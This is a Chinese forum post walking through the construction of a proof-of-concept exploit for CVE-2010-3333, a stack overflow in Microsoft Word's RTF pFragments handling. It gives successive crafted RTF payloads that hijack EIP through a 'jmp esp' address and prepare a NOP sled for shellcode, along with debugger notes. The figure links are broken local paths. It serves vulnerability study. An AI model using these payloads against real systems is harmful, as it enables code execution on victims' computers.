本帖最后由 leonchan 于 2014-9-8 14:53 编辑
许久之前分析过office word的一个漏洞(CVE-2010-3333),并尝试着构造了该漏洞的POC,在分析的过程中做了文档记录,废话不多说,开始step by step。仅供学习交流。注意:漏洞的相关概述可以自己去百度,这里没有细谈。
POC构造思路及方案 1)调试工具的选择 由于这是个栈溢出漏洞,所以选择windbg来作为调试工具。 2)思路&步骤 第一:必须得构造一个具有pFragments属性的文档。就把它命名为crash.doc文件吧; 第二:向crash文件中填入特殊字符,当然填入的字符类型也是有讲究,一般情况下在内存中能够方便查看就行。字符的数量也应该是由少到多慢慢增长。每做一次填充都应该仔细观察写入内存情况; 第三:设法让你构造的字符能够覆盖EIP,这样的话就能控制程序的流程了。 第四:选择合适的跳转地址。 第五:填入shellcode,让EIP跳至shellcode处; 在这过程中一定要注意记录各种数据,有时候甚至要做出部分流程图。 制作过程 构造crash文件 毫无疑问第一步得先构造一个能触发这个漏洞的crash文件。既然是RTF文档绘画属性这块出了问题,那就有的放矢,按照这个格式构造一个名为crash的文件,文件格式以及信息如下。 {\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4141414141414141414141414141}{\sn pfragments}}}}} |
在这里为了方便起见,将每个元素的字节数设为1,数组数量同样设为1。后面的数组元素是跟溢出相关的数据,首先尝试将这些数据设为若干个A,十六进制表示为“41”。 利用crash文件寻找漏洞触发点 设置完毕后打开crash文件,程序崩溃,报告信息如图4.2.1所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA17F.tmp.png 图 4.2.1 程序崩溃 很好!!运气不错,很少的字符串就能让程序崩溃。记录下报告信息,崩溃原因是EIP指向地址为0x00000000地方,当然这个地址程序是不存在的,所以自然崩溃。好了,既然程序崩溃,但是我所关心的是构造的数据有没有填进缓冲区,带着疑问用windbg打开这个crash,查看崩溃细节,如图4.2.2所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA18F.tmp.png 图4.2.2 崩溃细节 明显的看到了构造的数据写进内存了,好像没有全部写进去(因为构造的数据是14个A,这里只写进去8个,还有6个A没有写进去,带着这个疑问继续往下看);程序的EIP没有被构造的数据填充,查看这四周数据,可以看到很多00,应该是被这些00覆盖了。继续扩大crash中A的数量。 {\rtf1{}{\shp{\*\shpinst{\sp{\sv1;1;41414141414141414141414141414141414141414141414141414141}{\sn pfragments}}}}} |
同样载入windbg查看细节,验证一下,如图4.2.3。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1A0.tmp.png 图4.2.3 堆栈细节 令人惊喜的发现构造的数据成功写入了EIP,但是有一点跟上面一样,那就是前6个A依旧没有被写进去。同样为了确定EIP是构造的数据写进去的,可以将数据继续覆盖下去,这次数据换一下,将前6个A不变,后面采用一些B来填充。 {\rtf1{}{\shp{\*\shpinst{\sp{\sv1;1;4141414141414242424241414141414141414141414141414141414142424242}{\sn pfragments}}}}} |
载入windbg再次验证下,如图4.2.4所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1A1.tmp.png 图4.2.4 堆栈细节 从上图可以得到三个信息:1)函数的返回地址保存在0x00123dd4中;2)前6个A确实没有写进缓冲区,说明这些数据另作它用,推测可能是某些设置需要(再议)。3)esp的地址是0x00123dec,这个地址同样很重要,因为如果使用jmp esp作为跳板的话,最终是要跳到shellcode区的,而shellcode就是覆盖在esp之后的。 布置shellcode 有了上述的分析以及推导,现在就开始布置shellcode到缓冲区,这里利用jmp esp作为跳板,在XP下的万能跳转地址是0x7ffa4512,将7ffa4512填入地址为0x00123dd4中,覆盖原来的返回地址。因此在crash中应当这样布置: {\rtf1{}{\shp{\*\shpinst{\sp{\sv1;1;41414141414142424242414141414141414141414141414141411245fa7f}{\sn pfragments}}}}} |
这里先验证一下jmp esp地址是否能够成功跳至esp(0x00123dec)处,同样载入windbg观看。如图4.3.1所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1B1.tmp.png 图4.3.1 堆栈细节 从上图可以看出已经成功跳转到esp处,那么接下来要做的就是在esp之后布置shellcode,先从0x00123dd8处覆盖到0x00123deb处,这段内存用A来覆盖;0x00123dec之后就开始要布置shellcode了,为了方便调试不妨先用nop(90)指令来填充。构造的crash数据如下: {\rtf1{}{\shp{\*\shpinst{\sp{\sv1;1;41414141414142424242414141414141414141414141414141411245fa7f41414141414141414141414141414141414141419090909090909090}{\sn pfragments}}}}} |
载入windbg查看,如图4.3.2所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1B2.tmp.png 图 4.3.2 堆栈细节 哦哦。。。令人始料未及的事情发生了,虽然构造的数据写进内存中去了,然而原本应该是执行完jmp esp之后指令跳转到0x00123dec执行后面的nop指令,但是结果令人很遗憾,程序不知道跑哪里去了,现在的EIP和ESP都不是意料之中的值。 在前面一步明明是可以控制EIP的,为何这里却不可以。幸好这里我做了记录,对比一下图4.3.1和图4.3.2,这里不同的就是在0x00123dd8至0x00123deb之间用A来填充了,而在图4.3.1中这段数据是00填充的,难道是这个影响?不妨试一下,将这段数据换成00试一下: {\rtf1{}{\shp{\*\shpinst{\sp{\sv1;1;41414141414142424242414141414141414141414141414141411245fa7f00000000000000000000000000000000000000009090909090909090}{\sn pfragments}}}}} |
载入,如图4.3.3所示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1C3.tmp.png 图4.3.3 堆栈细节 果不其然,就是这段内存造成的,重新看到了熟悉的EIP和ESP,这里已经执行完nop指令了,EIP停在0x00123df4处。 在这里我后面仔细调试了一下,这段内存并不是都要求是00,只要在地址0x123de8处(也就是最后4个字节)只要全是00一样可以得到同样的效果。因此在布置shellcode的时候注意将0x00123de8处的内容要填为00 00 00 00。猜想这个地方可能作为一个判断条件,不然怎么解释只有当这块内存为0才能跳至esp处,当不为0的时候作其他处理,而这个处理是不受控制的。 好,现在已经能够控制esp的跳转了,意味着EIP被劫持了,接下来就是填充真正的shellcode来实现漏洞的利用了。 漏洞利用 现在可以将构造好的shellcode填入上述nop指令之后了。直接打开crash文件查看利用效果,如图4.4.1所示。
file:///C:/Users/ADMINI~1/AppData/Local/Temp/ksohtml/wpsA1C4.tmp.png 图4.4.1 利用结果展示
|